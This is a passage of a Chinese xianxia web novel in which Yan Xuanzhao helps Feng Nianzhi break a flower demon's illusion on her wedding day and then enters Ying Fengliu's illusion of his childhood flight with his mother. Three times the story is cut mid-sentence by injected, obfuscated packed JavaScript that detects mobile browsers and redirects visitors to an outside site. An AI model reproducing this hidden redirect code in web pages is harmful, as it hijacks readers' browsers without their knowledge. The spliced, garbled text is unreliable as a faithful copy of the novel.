颜悬昭本想就在桌边的圆凳上坐下,冯念之却热情地拉着她,坐到了床边。 刚一坐下,冯念之就亲热地倚到了颜悬昭身边,张了张口,脸上却又飞起两抹红云,一副欲言又止、羞于启齿的模样。 颜悬昭没有留神到她的羞涩,而是不安地四处打量着,试图寻找花妖有无化身成什么物件隐匿在房中偷听她们的对话。 “昭昭姐,”冯念之咬了咬唇,像是终于下定了决心般,“你那时候成亲前会不会紧张啊?不知道为什么,我总是莫名地心慌,七上八下地……” 颜悬昭被她的话拉回注意力,顺着她的话题思考起来:“紧张啊……” 何止紧张,简直是惊悚!她回想起宋府那场“婚宴”,至今都会心惊胆战。要不是为了完成系统的任务,她绝对会连夜收拾家伙出逃。 但是这些就没必要和冯念之说了。 她拉过冯念之的手,安慰性地拍了拍:“成婚是人生大事,紧张是再正常不过的了。至于心慌……” 她眼珠子转了转,巧妙地将话题引到了“衡遂”身上,语气带着点引导的意味:“是不是……衡遂近来,有什么让你觉得不太对劲的地方?或是说了什么、做了什么,让你感到不安了?” 她的话音刚落,房间里那扇原本紧闭的窗户,竟被一股突如其来的怪风“哐当”一声吹开了,冷风瞬间灌入,吹得房内帷幔飘扬。 冯念之“呀”了一声,连忙起身走到窗边,将窗户重新关紧。 “昭昭姐何出此言?”冯念之关好窗又回到了她身边,“师兄待我一如既往,没什么不对劲的啊。” 颜悬昭看着那扇莫名被吹开的窗,心中警铃大作。她的直觉告诉她,那花妖正无处不在地监视着她们。 她收回目光,不慌不忙地解释道:“很多男人成婚前都会有些花花心思,想着在最后的自由时光潇洒一把,往往会在这个时候背着未来妻子花天酒地……” “啊!怎么可以这样?”冯念之惊讶地捂住了嘴,眼睛瞪圆了,世界观仿佛受到了不小的冲击。 颜悬昭故作深沉地摇了摇头:“世道如此,人心难测……” 圆过去了! 颜悬昭在心里庆幸地给自己比了个“耶”。 冯念之慢慢放下了手,眼神担忧地看着她,小声道:“颜公子也这样吗……” 颜悬昭没想到她会突然提起应逢怜,恍神了一下,几乎是不经思考地脱口而出:“他当然不会。” 这话说完,连她自己都微微一愣,不明白这份毫无来由的笃定感究竟源于何处。 “那就好。”冯念之松了口气,脸上重新浮现出一个清浅的笑意:“不过,我相信师兄也不会的。” 颜悬昭看着她幸福的笑容,不禁犯起了难:她该如何敲醒已经坠入爱河的人啊…… “昭昭姐,你不知道,”冯念之垂眸,羞涩的语气中还掺杂着点小骄傲,“师兄对我们的婚宴可上心了。为专心筹备,他还推却了一切宗门事务。” “什么都不让我操心,说我只管开开心心地等着做新娘子就好……” 如果这不是幻境,颜悬昭真的很想祝福他们百年好合。可这一切都是虚假的泡沫,再美好、再留恋也要狠心去戳破。 她握住了冯念之的手,看着她的眼睛,试探性地问道:“衡遂道长竟是如此儿女情长的人。平日看他,都是一副为天下苍生而忘我的样子,没想到也有这样一面……” 冯念之浑然不察她话里有话,仍沉浸在甜蜜的叙述之中:“是啊,我也没想到呢。自那次我们在镜月花海里遇险,我们就认清了对彼此的心意……” 听着冯念之絮絮叨叨地讲述着她与“衡遂”相识相爱的点点滴滴,颜悬昭感到一阵绝望。 这姑娘入戏太深了。她暗示的话语太过隐晦,对方根本听不出来。可若是说得太直白,又必然会引起花妖的警觉,后果不堪设想。 颜悬昭陷入了一个两难的境地。 “对了,我还有件事想问问你……”冯念之突然吞吞吐吐起来,脸上红得像熟透的番茄,“就是……” 颜悬昭精神一振,以为她终于察觉到了什么不对劲,连忙坐直身子,摆出认真倾听的姿态:“有什么想问的尽管说,我一定知无不言,言无不尽!” 冯念之目光游移,咬了咬唇轻声道:“你和颜公子那个怎么样……” “哪个?”颜悬昭一时没反应过来,傻乎乎地反问道。 “就是夫妻之间会做的那个……”冯念之见她还是一脸茫然,又羞又臊地跺了跺脚,将心一横道:“……双修!” “双修……”颜悬昭重复着这个对她而言有些陌生的词汇,琢磨了两秒,等到反应过来其含义的那一刻,整张脸“轰”地一下瞬间爆红,热意迅速蔓延到耳后脖颈。 这、这、这……画风怎么突然变色了! 她的脑子里不受控制地想象出一些画面——应逢怜那张昳丽却总是冷冰冰的脸染上了欲念的颜色,伏在她的耳边动情地喘息,喉结上下滚动着,汗珠随着律动滚过他紧实的肌肉线条…… 零碎的画面一闪而过,超高的车速让她心跳失序,血液奔涌。 住脑啊,颜悬昭,你个大黄丫头! 若不是冯念之在场,她简直要抱头尖叫了。 “昭昭姐!”冯念之在她眼前挥了挥,担忧地问道,“你整个人都好红、好烫啊,没事吧!” 她猛地回神,快速地摸了摸鼻子,确认没有流鼻血才暗暗地松了口气。她刚想开口回应冯念之,眼泪却差点不争气地从嘴角滑下。 颜悬昭咽了咽口水,强装若无其事来掩盖她的窘迫:“我没事,突然有点热了而已。” 说着,她还不自在地用手扇了扇风:“对了,你怎么突然问起这个了?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16678158|183016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 冯念之收回了手,脸颊微红,眼神躲闪:“我听闻夫妻间不合拍的,初次会很难捱……” “啊,这……”颜悬昭挠了挠脸,感觉脸上刚降下去的温度又升了起来,臊得她无地自容,手脚都不知道如何安放。 她向来只见过猪跑没吃过猪肉。更何况她和应逢怜是假夫妻,又没有真的试过,哪知道合不合拍…… 迎着冯念之期待的目光,她含含糊糊地搪塞道:“反正要是觉得难捱……肯定是男方技术差!” 冯念之“哦”了一声,若有所思地点了点头。 眼看着话题越跑越偏,几乎要朝着不可控的方向一路狂奔,颜悬昭赶紧深吸一口气,试图将话题拉回正轨:“那个,念之啊,衡遂他……” “笃笃笃——” 就在这时,一阵清晰的敲门声响起,恰到好处地打断了颜悬昭即将说出口的话。 “衡遂”温和的声音在门外响起:“念之,嫁衣已经送过来了,你要不要现在试穿一下?” ———— 花妖眯了眯眼,不露痕迹地打量着颜悬昭。 这个“颜悬昭”的出现,是他精心编织的幻境里不该存在的变量。他清晰地记得,在构筑这个梦境时,已经将这个无关紧要的凡人女子安排离开了。 可如今她又出现在了这里,当真是因为冯念之的强烈执念吗? “师兄!”冯念之雀跃的声音打断了他的思考,“让昭昭姐陪我试嫁衣就好了!” 他适时地露出一抹温柔笑意,揉了揉她的脑袋:“昭昭娘子路途劳顿,也该让她歇息一下了,我陪你就好。” 冯念之想了想,觉得有理,便转头对颜悬昭说道:“昭昭姐,你先去客房好好休息吧。养足精神,明天才有精力参加我们的婚宴。” 她话音刚落,幻境自动响应主人的需求般,出现了一名弟子,牵引着颜悬昭前往歇息的地方。 颜悬昭脸上维持着僵硬的微笑,眼神在此刻显得有些空洞,没有发表任何异议,木然地跟着那名弟子离开了。 花妖看着颜悬昭的机械表现,心中的警惕稍稍放下。 她应当是冯念之的执念幻化而成的,不必紧张。 “师兄,快帮我系一下后面的带子,我够不着!”冯念之在屋内唤着他。 花妖回过神来,脸上重新挂起与衡遂如出一辙的清浅笑意,应声道:“来了。” 他推门走进内室,就看见冯念之已经换上了那身火红的嫁衣,正站在巨大的铜镜前,左右转身,欣赏着镜中的自己。嫁衣华美,衬得她面若桃李,明艳娇媚。 见他进来,她微微侧身,指了指背后那些繁琐的丝带,娇嗔道:“这些带子太复杂了,你快帮我弄好。” 花妖走到她身后,细心地为她系着裙后设计复杂的丝带。 在系最后一个结时,他状似无意地温声道:“念之,我们成亲后,你少些与昭昭娘子来往,可好?” 冯念之对镜自照的动作蓦地停住了,她没有回头,反问道:“为什么?” 花妖从背后揽住她的腰肢,下巴虚虚地搁在她的肩窝,看着镜中亲密无间的他们,语气带着点委屈:“因为我会吃醋的。看到你们这么亲密,我很嫉妒……” “成亲以后,你的世界里只要有我就够了。不要再与旁人那般亲近了,好吗?”他的声音越发低沉,带着蛊惑的意味。 冯念之脸上的笑意淡了不少,轻轻地推开了他的头:“这就是你的不对了。朋友之谊与夫妻之情并不冲突,你应该学会大度。” 花妖见她神色不虞,立刻从善如流地放低了姿态,低声认错道:“是我说错话了。我太在乎你了,忍不住拈酸吃醋。我再不这样了。” 见他认错态度良好,冯念之神色有所缓和,脸上又重新浮现出了笑意:“你知错就好。罚你帮我选明日用的口脂,你说这个颜色适合还是这个……” 花妖顺从地走上前,垂眸掩去眼底的幽暗,耐心地陪着她挑选起梳妆台上那些琳琅满目的胭脂水粉。 再忍耐片刻,只待明日婚宴完成后,便可以收网了。 35. 镜月水月(八) 引路弟子面无表情,如同一个设定好程序的木偶,沉默地将颜悬昭带到了一处偏僻厢房。 “姑娘,今夜就在此好生歇息吧。”弟子一边平静无波地说着,一边为她推开了房门。 颜悬昭顺从地点了点头,迈步跨过门槛。她刚想转身,再探问几句,就听见身后“咔哒”一声轻响。房门迅速合拢,被人从外面牢牢锁住。 她立刻扑到门前,用力拽了拽门栓,那木门却如同浇筑了铁水般纹丝不动。她又快步走到窗边,推了推紧闭的窗棂,同样被一股无形的力量封得严严实实。 这花妖真是防备得够紧的。 “系统?你在吗?”颜悬昭不死心,试图在脑海里呼唤系统,却迟迟没等到回应。 自从进入幻境以来,系统就和她断开了联系,如今真的只能完全靠自己了。 颜悬昭焦虑地在房间里转圈圈:“怎么办、怎么办?出不去啊!” 她有一种强烈的预感,明日的婚宴上定会发生些什么,她得赶在这之前唤醒念之,否则就来不及了。 想到这里,后悔涌上她的心头。当时是不是太冲动了?如果能先找到应逢怜或者衡遂,大家一起想办法,是不是就不会陷入现在这样叫天天不应、叫地地不灵的困境? 以他们的能力,解决这花妖恐怕是轻而易举吧。 颜悬昭懊恼地拍了拍自己的脑袋,试图驱散这些无济于事的念头:“世上没有后悔药,继续想办法!” 就在她急得像热锅上的蚂蚁般团团转之时,整个幻境毫无预兆地猛烈震动起来。地面剧烈摇晃,桌椅板凳相互碰撞,发出“哐当哐当”的碰撞声。 颜悬昭猝不及防,脚下一个踉跄,幸好她及时伸手扶住了一旁的圆桌,才勉强稳住身形,没有摔倒在地。 这震动来得突然,去得也快,几息之后便渐渐平息。 她刚松了口气,准备站直身体,一小块瓦片就夹杂着灰尘掉落下来,不偏不倚正好砸在她的额角。 “啊!”颜悬昭吃痛,捂住被砸到的地方,恼火地抬头望去——只见房顶正中央,赫然露出一道小缺口。 ——— 身着凤冠霞帔的冯念之正在熙熙攘攘的来宾中搜寻着颜悬昭的身影:“昭昭姐没来观礼吗?” 同样身着大红喜服的“衡遂”适时上前,轻轻揽住了她的肩膀:“昭昭娘子有些不适,不能前来观礼了。等我们合籍大典礼成后,再去探望她,好吗?” 冯念之有些失望地收回了目光,顺从地点了点头:“那我们走吧。” 她牵住红绸的一端,与他一同踏上了通往正殿的台阶。大殿正前方,德高望重的师尊正面带笑容等候着他们。 台阶两侧,站满了前来观礼的宗门前辈、同门以及各方宾客,他们脸上洋溢着祝福的微笑,注视着这对即将结为道侣的璧人。 离大殿越来越近,冯念之莫名地开始心慌,下意识收紧了手中的红绸:“师兄,我好紧张。” “衡遂”感受到她的不安,侧过头对她露出一个安抚性的笑容。他从她手中抽出那截被攥得发皱的红绸,转而用自己的手,稳稳地包裹住她微凉的手,声音低沉而令人安心:“别怕,念之。有我在。” 他牵着她继续往前走,可冯念之的步伐却变得踌躇了。 “衡遂”眼底深处闪过一丝极快的不耐,但面上依旧是那副温柔耐心的模样,微微俯身,轻声询问道:“怎么了?是哪里不舒服吗?” 冯念之抬眸望着近在咫尺的他,喃喃道:“师兄,这真的不是梦吗?我们真的要成亲了吗……” “傻丫头。”他失笑,抬手不轻不重地捏了捏她的脸颊,“高兴傻了吧?当然是真的了。” 脸上的触感让冯念之有了几分真实的感觉,她下意识低头蹭了蹭他的手背,低声道:“师兄,我们真的要成亲吗……你的无情道怎么办?” “衡遂”双手捧起她的脸颊,语气是前所未有的郑重:“我想清楚了,什么得道成仙都不及你半分重要。道毁了可以重新再修,可我的念之天地间只此一个。” 他本以为冯念之会对他的这番话露出感动的神情,却不想她的神情没有丝毫变化,反而问出了一个出乎他意料的问题:“师兄修炼是为了得道成仙吗?” “衡遂”微微一怔,随即用一种包容又带着些许无奈的眼神看着她,仿佛在看一个提出天真问题的孩子:“傻话,哪有修仙之人不向往得道成仙、与天地同寿的?不过……” 他话锋一转,深情款款地看着她:“与那些虚无缥缈的仙途相比,如今的我,更想与你携手,做一对只羡鸳鸯不羡仙的道侣。” 看,我为了你放弃了得道成仙的机会,放弃了光明的前程,这还不够证明我爱你吗? 快投入我的怀抱吧,别犹豫了…… 冯念之的眼睛里泛起了点点泪花,看向他的眼神是那样的复杂,像是开心又像是难过:“师兄,原来走向我,需要你违背这么多啊……” “为了你,我甘之如饴。”他拉过她的手继续往正殿走去,带着几分迫切,“我们要抓紧了,别误了吉时。” 这次的冯念之没有再提出异议,乖顺地跟着他一步步走入大殿之中。 作为证婚人的师尊看着眼前这对璧人,抚须微笑,声音洪亮而庄严:“吉时已到——请二位新人,将手共同置于这契约石之上,许下同心誓约。自此同心同德,永生永世,不得背离对方。天地共鉴,若有违者,身死道消,魂飞魄散……” “衡遂”几乎是迫不及待地将手按在了契约石上,随即侧过头,柔声催促着身旁仍在发愣的冯念之:“念之,快,把手放上来。从此以后,我们便永不分离了。” 冯念之怔怔地看着契约石,伸出了手,就要触及冰冷的石面—— “不好了——魔族大军攻破山门了!!”一声凄厉至极、充满恐慌的尖叫,如同惊雷般骤然在人群中炸响。 大殿之下瞬间乱作一团,熙熙攘攘的人群如同无头苍蝇般恐慌逃窜。混乱之中惊呼、哭嚎如潮水般袭来。原本喜庆祥和的观礼现场瞬间沦为人间炼狱。 花妖愕然回头,脸上写满了不可思议。 在他设置的情境里,根本不会有这一幕的发生!难道是冯念之有所察觉了,用意识左右了幻境,对他开展试探? 如果是真正的衡遂……此刻会怎么做? 他迅速压下惊疑,略带警惕地看向了冯念之,试探道:“念之,我……” 冯念之却打断了他,紧紧盯着他的眼睛,眼神带着孤注一掷的决绝,一字一句地问道:“师兄,你要现在去吗?如果你现在离开的话,你我的婚约,就此作废。” “你选我,还是选苍生?” 花妖露出了然的笑容。 不过又是女子的见不得人的小心思,想在最后关头,用这种极端的方式,验证自己在对方心中的地位,索取一个毫无理由的偏爱。 事到如今,他根本不需要模仿真正衡遂会做出的正确选择。他只需要给出冯念之内心深处最渴望听到的那个答案,那就是这个问题的正确答案。 他深情地望着冯念之,声音温柔而坚定:“我不走。任天翻地覆,我选你。” 闻言,冯念之露出了一个灿烂的笑容,眼眸中泪光涌现,像是喜极而泣。 她指了指不远处的地面,那里不知何时遗落了一根金簪,娇嗔道:“那师兄你去捡起我掉落的簪子为我戴上,我们继续成亲。” “好。”花妖闻言几乎要按捺不住心中的狂喜。他毫不犹豫地转身,按她所说去拾起掉落的金簪。就在他弯腰的瞬间,一股剧痛从他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16700846|183016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的腹部袭来—— 他不可置信地低头,冷锐的剑尖正从他的丹田穿出,殷红的鲜血迅速浸湿了华丽的喜服。 他艰难地回头,看向持剑之人,眼中充满了震惊与怨毒,喉咙里迸出了破碎的音节:“为、为什么……” “很高兴,你会选我。”冯念之的声音冷静得可怕,持剑的手没有丝毫的颤抖,稳稳地往前又送了几分。 “可是师兄,我会选苍生。”她的话刚说完,便利落地催动灵力灌注剑中,搅碎了花妖的内丹。 刚努力赶到大殿的颜悬昭看到的就是这幕。 冯念之一身如火嫁衣,傲然立于一片虚幻的混乱之中,手中长剑染血。 她身前的花妖无力地跪倒在地,双目圆睁,充满了难以置信的愤怒与不甘,身体如同破碎的镜像般,开始寸寸消散、崩解。 颜悬昭焦灼了一整晚的心终于在此刻平息。 她花费了大半夜的时间才从被困的房间里揭瓦逃出,又在寻来大殿的途中费了几番波折。原本还担忧自己不能及时赶到会导致念之彻底被花妖蛊惑。 如今看来,她高估了自己救人的能力,也低估了念之那颗清醒的道心。 “昭昭姐,”冯念之收起长剑,快步上前搀扶起气喘吁吁的颜悬昭,“你没事吧?” 颜悬昭摆了摆手,欣慰道:“没事没事,一切都雨过天晴了。” “那就好。”冯念之点点头,“你找个安全的地方躲着,我先去救人。” 颜悬昭却拉住了她:“念之,这是幻境。” 冯念之看了看逐渐分崩离析的四周,脸上没有过多惊讶,更多的是了然,目光也变得清明起来,喃喃道:“怪不得……” 刹那间,白光一现。 颜悬昭感到一阵熟悉的抽离感,下一秒便猛地睁开了双眼,在花海之中坐了起来。 醒来第一时间,她就扑向了一旁的冯念之,紧张地摇晃起她的肩膀:“念之,你醒醒!” 这次的冯念之有了反应,缓缓地睁开双眼,还没来得及开口,就猛地呕出了一口鲜血。 “这是怎么回事?!”颜悬昭惊呼出声。 【她在幻境里沉迷了太久,不可避免地被镜月花妖吸取了部分生命力。】回到现实世界,系统又及时地在她的脑海中上线了。 【不过别担心,这点损耗并未伤及根本,只要后续好生调养一段时日,便能恢复过来。】 听到系统的解释,颜悬昭悬着的心才稍稍放下。她轻轻为冯念之拍抚着后背,帮她顺气。 冯念之原地盘膝调息了一番,面色恢复了许多。她看着一旁的颜悬昭,犹豫道:“昭昭姐,幻境中的事……” 颜悬昭连忙举手起誓:“我不会说出去的!” 冯念之莞尔一笑,摇了摇头:“也不是什么大不了的事,我的确倾慕师兄。” 她垂眸,像是自我剖陈般娓娓道来:“一直以来都是师兄陪伴在我身边,教我练剑,陪我修行……此前我也以为,我对师兄怀有的是男女间的情愫,我总是恨不得他只将目光放在我的身上,想着,如果他心中有一个天平,能不能稍稍倾向我一点?” “经过这次幻境,我才发现并不尽然。他若为了我抛下苍生,毁弃道心,那也不是我喜欢的那个人了。我喜欢的正是那个从不因私废公,始终怀揣兼济天下之心的衡遂。” “不过,与其说是喜欢,不如说是钦慕、敬仰。”冯念之的语气渐渐变得释然,“比起男女之情,我更想成为他这样的人。修行之路,不为成仙,只为苍生。” 说完,冯念之不好意思羞赧一笑:“说了这么多……昭昭姐,让你见笑了。” “不会。”颜悬昭握住她的双手,认真而诚挚地说道,“我要恭喜你。” “你找到你的道了。” 36. 镜花水月(九) “昭昭姐,幸好有你。”冯念之上前揽住了颜悬昭,“如果没有你奋不顾身地来救我,我恐怕就葬身在幻境里了。” 颜悬昭有些不好意思:“我也没做什么,主要还是你自己意志坚定,道心澄澈,才能勘破幻境。” “话不能这么说。”冯念之松开她,神色却愈发郑重,清澈的眼眸直视着颜悬昭,“在我最沉溺幻境之时,是你出现了,才让我恢复了一丝清明。你这份冒着风险前来相助的心意,于我而言,重若千钧。无论如何,我都要郑重地谢谢你。” 颜悬昭第一次接受到别人如此正式的道谢,一时间竟感觉受宠若惊,不知如何应对。 就在这时,系统急促的声音响起—— 【宿主,赶紧找到应逢怜吧!我这里显示他的状态不太妙!】 颜悬昭回过神,慌忙问道:“念之,你有见到应……我相公吗?我正在找他!” 冯念之摇头,神情也随之凝重起来:“没有。当时你被湖水拖入水下,颜公子立刻就跟着跳了下去救你。可是,我们在岸上等了半晌,都不见你们任何一人浮上来。 “我和师兄担心不已,便也一同潜入了湖中寻找。之后……我再有清晰的记忆,便是陷入那花妖编织的幻境里了。” “他和衡遂也跟着下来了?”颜悬昭心骤然一紧,“看来我们进入湖底后就被分散开了……他们很可能也遭遇了镜月花妖,被困在了各自的幻境里,我们必须尽快找到他们!” 冯念之立刻颔首,也意识到了事情的严重性:“事不宜迟,我们现在出发吧。” 两人不敢再有片刻耽搁,迅速收拾了一下,便扎进茫茫无边的血色花海之中,搜寻应逢怜和衡遂的踪迹。 这片镜月花海广阔得令人绝望,系统再次尝试定位,却依旧无法给出准确的方位。颜悬昭二人如同无头苍蝇般在花海中乱转,寻人的难度有如大海捞针。 颜悬昭望着茫茫花海,心中突然涌起一股强烈的心慌与不安,心脏在胸膛里失控般狂跳。 仿佛在印证她不详的预感,系统警报声在她脑海中轰然炸响—— 【警告!反派生命值持续下降!】 【警告!反派生命值濒临危险阈值!请宿主立刻采取行动!】 血红色的警告字眼在她眼前疯狂闪烁。 “昭昭姐,你怎么了?!”冯念之看到颜悬昭面色“唰”的一下苍白无比,连忙急声问道。 颜悬昭一时六神无主,脑海全然充斥着一个念头:“找到应逢怜!” 她没想到,千防万防,应逢怜的死劫还是猝不及防地在此刻降临。 强烈的自责如同潮水般将颜悬昭淹没:如果不是她出现,他本不会来到这个幻境。如果不是她被蛊惑落入水中,他也不会为了救她而跟着跳下来,更不会因此陷入如今这濒死的境地…… “念之,我们得分头行动,这样才能更快找到人!”颜悬昭下意识去拉冯念之的手,却被她肌肤的温度烫得一哆嗦,才惊觉自己的手冰冷得如同冰块,还不受控制地微微颤抖着。 “你一个人行动太危险了!”冯念之不认可地摇了摇头。 “顾不上那么多了!”颜悬昭态度异常坚决,“必须尽快找到他们,一刻都不能再耽误了!你放心,我有自保的手段,不会有事的。” 见她态度执拗,冯念之也不再劝阻,从身上拿出了一张高阶符篆递给了她,嘱咐道:“这是传讯符,注入一丝微弱的灵力即可使用。找到人后,我们随时通过它联系。千万小心!” 颜悬昭小心翼翼地将符篆收入怀中,感激地看了冯念之一眼:“谢谢你,念之。如果你先发现了我相公的踪迹,一定要第一时间告诉我!” “我明白。昭昭姐你也别太担心,吉人自有天相,他们一定会没事的!”冯念之用力握了握她的手,试图给颜悬昭传递一些安慰。 时间紧迫,不容再多言。两人简单地划定了一下各自的搜寻方向和稍后汇合的大致区域,便毅然转身,朝着不同的方向寻人。 “应逢怜!应逢怜——!”颜悬昭焦急地在花海里寻觅着。她不知道他到底遇到了什么险境,只能在心中不断地祈祷他尚存一丝清明撑到她赶到。 她的脚步越来越急促,几乎是在花丛中跌跌撞撞地奔跑。如同杂草般旺盛生长的花枝不断抽打、缠绕在她的小腿上,划出一道道细密的血痕,火辣辣地疼,但她全然顾不上这些。她一味地拼命向前,呼喊着应逢怜的名字,寻找他的身影。 但回应她的,只有她自己越来越沉重的喘息与心跳。 就在她因为长时间的奔跑和呼喊而有些力竭时,脚下忽然被一个硬物绊倒,她惊呼一声,身体失去平衡,迎面朝花丛中摔了下去。 颜悬昭头晕目眩地想要撑地爬起,手掌却按在了一片熟悉的衣料上。她心中猛地一跳,抬头望去——应逢怜那张苍白得没有一丝血色的俊美面容,赫然映入她的眼帘。 他悄无声息地倒在妖艳的花丛之中,双目紧闭,薄唇血色尽失,泛着一种令人心惊的青白。 颜悬昭像是被烫到一样,瞬间从他身上弹开,又立刻扑回去,颤抖着手轻轻拍打他的脸颊:“应逢怜?!应逢怜你醒醒!你能听到我吗?” 拍打了几下他都没反应,颜悬昭意识到他也陷入到了幻境之中。 别人沉溺幻境之中或多或少会带着满足或幸福的微笑,可他在美梦之中也依旧眉头紧锁,一副痛苦的模样。 【宿主,你快看他身上的镜月花!】系统惊呼道。 应逢怜的胸膛之上正绽放着一株妖艳而硕大的镜月花,花瓣的红色浓郁到好似即将凝成血液滴出。 更为可怕的是,镜月花的根茎蔓延笼罩了应逢怜的全身,最为粗壮的主根直接肆无忌惮地刺破了他的衣襟,扎入到他的心口之中贪婪地汲取着血液。原本应是翠绿的根须,此刻已被染成了渗人的深红色,还在微微搏动着。 颜悬昭立刻伸手想要将那根须从他的伤口中拔出。然而,那根须仿佛已经与他血肉生长在了一起,她稍一用力,便牵连着周围的皮肉一同翻起,鲜血瞬间大量涌出。 应逢怜疼地闷哼了一声,却仍旧没有醒来,嘴角缓慢地溢出了一丝鲜血。 颜悬昭顿时松开了手,不敢继续动作,生怕再弄疼他。 她当机立断将手按在了他胸膛处的镜月花之上:“系统,将我送进他的幻境。” 【宿主,应逢怜在花妖的幻境中沦陷至深,时间紧迫,也更为凶险,务必万分小心!】系统声音凝重。 “我知道了。”颜悬昭催促道,语气带着破釜沉舟般的决绝,“快送我进去!” 她的话音刚落,眼前便闪过一片强烈的白光,意识瞬间离体。 颜悬昭的身体失去了支撑,软软地倒在了应逢怜冰冷的胸膛上。二人如同熟睡的孩子,在花丛里相拥而眠。 寂静的花海里,系统幽幽地叹息了一声:“世界上最难救的就是一个不想活了的人。颜悬昭,但愿你能救他吧。” ———— 颜悬昭睁开眼,发现自己正身处光线昏暗、四处漏风的破旧庙宇之中,空气中弥漫着潮湿的霉味。 此刻庙外狂风暴雨,吹得狭小的破庙摇摇欲坠。昏暗的庙内正燃着一堆小小的篝火,衣容狼狈的女子抱着两个看上去四、五岁的孩童靠着火堆汲取温度。 颜悬昭心中一动,情不自禁地走近了他们,想提供一些帮助:“你们需要帮忙吗?” 女子却置若罔闻,依旧紧紧抱着怀里的孩童,时不时警惕地望向庙门处。女子的脸上抹满了灰土却难掩她的出尘之姿。 颜悬昭疑惑地蹲下身,凑到他们面前,甚至伸出手在他们眼前晃了晃,又提高声音打了声招呼。可那母子三人,依旧对她的存在毫无反应,视线直接穿透了她,仿佛她只是一团无形的空气。 这样奇怪的情况让颜悬昭无法做出任何行动,只能待在一旁静观其变。 她端详了女子面容片刻,咂巴出点似曾相识,目光才慢慢往下移,落到她怀中的两个孩子身上。 嚯,还是一对双生子! 两个小家伙都生得玉雪可爱,睁着两双如同黑葡萄般水润的大眼睛,懵懂地跟随着母亲的视线,一起望着那扇不断被风雨拍打的庙门。 颜悬昭立刻意识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16715267|183016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到这是应逢怜和应观澜这对双胞胎兄弟。 说来奇怪,这两兄弟还处于幼童时,长得简直一模一样,气质也还没有出现明显的分别,可颜悬昭就是能奇迹般地认出左手边的是应逢怜。 没想到魔头也能有这么可爱的时候。 颜悬昭玩心忽起,蹲到了小应逢怜的那侧,伸出手指戳了戳他圆润的脸蛋。 她原本以为自己的手可能会像穿过幻影般,穿过他,却不想实打实地触碰到了他弹嫩的脸蛋。 小应逢怜皱了皱眉头。 他居然对她的触碰有反应! 颜悬昭大喜,连忙凑近他的耳朵低声道:“应逢怜,是我,颜悬昭!” 这次,小应逢怜却对她的话无甚反应。 颜悬昭疑惑地掐了掐他的脸蛋,想用更明显的方式引起他的注意。 小应逢怜立刻捂住了脸颊,奶声奶气地告起状:“娘,有人掐我脸。” 女子精神高度紧绷着,无暇理会孩子的言语,只当是孩子间打闹:“听澜,别捉弄弟弟。” 小应听澜板着脸,说话也是奶声奶气,语气却有着超脱他这个年纪的沉稳:“我没有掐他,我从来不做这些无聊的恶作剧。” 小应逢怜嘴一瘪,委屈得不得了:“真有人掐我脸了,好疼。” 闻言,颜悬昭心虚地缩回了手。 “逢怜,别闹了。” 母亲的冷喝让小应逢怜立马止住了话语。许是大人的不安成功感染了年幼的孩子,两个孩子都安静地往母亲怀里缩了缩,也更紧地挨着彼此。 望着小逢怜脸蛋上慢慢浮现出的淡红印子,颜悬昭有点愧疚,用手轻轻地在他脸侧扇起了风,试图为他驱散一点疼痛。 狂风大作,电闪雷鸣,屋外恍如末日般让人心中惶惶,孤苦无依的母子三人只能躲在这破旧的土地庙里等待着风雨的过境。 颜悬昭看着这一幕,结合原著中零星的描述,渐渐拼凑出眼前场景的信息——这位年轻女子应该就是应逢怜的母亲了,她正带着两个孩子逃避着正道的追捕。 这位魔族公主大逆不道地与应家少主隐秘相恋,并产下一对双生子。在事情败露后她遭到魔族驱逐,丈夫为了保护她和孩子被家族抓了回去,应家还对母子三人下达了通缉令,她不得不带着一对年幼的双生子亡命天涯。 颜悬昭在这个幻境里像一个孤魂野鬼,无法被他们看见,也无法与他们交流,只能作为旁观者陪伴着他们在破庙里度过一夜的风雨。 天色熹微泛白,风雨也暂时停歇。女子有些摇晃地站起想继续赶路,她俯身费力地抱起了小听澜。 站稳后,又想伸手去抱小逢怜,却在抱起他那刻身体剧烈摇晃,脚下踉跄,差点带着两个孩子一块倒地。 她似乎受了不轻的伤,脸色苍白如纸,仿佛随时会倒下。 她不死心地又尝试了几次,每一次都因为体力不支而失败,根本无法同时抱起两个孩子。 望着庙外逐渐明亮起来的天光,女子的眼眸中渐渐被深切的绝望所淹没,痛苦与挣扎在她脸上激烈地交织着,几乎要将她撕裂。 年纪尚小的孩子们还理解不了如今的处境和母亲的痛苦,只是呆呆地伸出双手,等待着母亲的怀抱。 女子痛苦地闭了闭眼。再睁开眼时,她俯身只抱起了应听澜,对一旁的应逢怜说道:“小宝,娘亲带着哥哥去外面找吃的,很快就回来,你乖乖等在这里好不好?” 